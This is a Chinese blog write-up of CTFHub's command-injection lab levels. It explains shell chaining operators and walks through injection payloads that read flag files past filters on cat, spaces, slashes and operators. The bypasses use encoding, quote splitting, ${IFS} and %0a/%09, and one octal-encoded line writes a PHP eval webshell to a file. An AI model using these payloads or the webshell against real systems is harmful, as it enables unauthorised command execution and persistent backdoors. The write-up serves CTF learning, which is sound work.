CTFHUB-技能树-Web-RCE(下)

这一篇讲命令注入

常用特殊字符:
cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1&cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:仅在cmd1执行成功后才执行cmd2
\((cmd):echo\)(whoami)或者$(touch test.sh;echo 'ls' >test.sh)
'cmd':用于执行特定命令,如'whoami'
>(cmd):<(ls)
<(cmd):>(ls)

命令注入-无过滤

源码就是一个ping命令直接拼接上ip的内容

所以构造一下

①127.0.0.1|ls

②127.0.0.1|cat 66301059911779.php

发现什么都没有,看一下源码发现原来flag被注释了

过滤cat

ls发现flag文件,但是cat命令被过滤,所以得想办法读flag文件的内容,发现我不会,记录一下

参考https://blog.csdn.net/szgyunyun/article/details/104970118

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

另:参考https://www.cnblogs.com/chalan630/p/12542239.html

拼接绕过:a=fl;b=ag;cat \(a\)b

编码绕过:(base64)echo MTIzCg==|base64 -d #123

(16进制)echo "313233"|xxd -r -p #123

(10进制)$(printf "\154\163") #ls

可以通过这样来写webshell,内容为 ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

反斜杠:ca\t fl\ag

单引号或双引号绕过:ca''t flag或ca""t flag

\({}执行代码:\){phpinfo()};

选择任意一个使用,flag仍然在源码中查看

过滤空格

绕过方式(替换掉空格):

①全局变量:\({IFS}或者\)IFS\(9,\)IFS

②重定向符:<

③变量自定义:cmd=\('\x20flag_2413114655637.php'&&cat\)cmd

④字符串处理:a=\((id)&&b=\){a:16:1}&&cat${b}flag_2413114655637.php

参考https://blog.csdn.net/weixin_39219503/article/details/103948357

⑤%20(space)、%09(tab)

过滤目录分隔符/

这题过滤了/,但是好像不需要用到

直接构造127.0.0.1;cd flag_is_here;cat flag_11504215555192.php

这题好像用| & &&都不行,不知道为什么

过滤运算符

把/ \ | &都给过滤了,漏了一个;

构造127.0.0.1;cat flag_325302658114852.php

综合过滤(组合拳)

可以看到过滤了/ \ | & ; (空格) cat flag ctfhub

这里我们先想一下操作

①127.0.0.1;ls

②127.0.0.1;cd flag_is_here;ls

③127.0.0.1;cd flag_is_here;cat flag_xxx.php

注意这一题命令注入点在url上,而不是框框里输入

;号不能用可以用%0a、%0d代替,不过这题好像只能用%0a

空格被过滤上面讲了如何绕过

flag被过滤可以fla''g、fla""g等,上面讲了

cat上面也讲了

构造:127.0.0.1%0acd%09fla""g_is_here%0atac%09fla""g_18066919615927.php

这里看到了一个有点奇特的payload,记一下

127.0.0.1%0acd%09%0atac%09

不明白为什么*可以替换掉所有 = =

找大佬问清楚了,这里是属于巧合了,*是匹配任意值,而这题刚好只有一个目录,目录下只有一个文件,所以才能够执行正确

同理可以把部分换成*也可以

posted @ 2020-09-24 11:42  Web_Fresher  阅读(197)  评论(0编辑  收藏  举报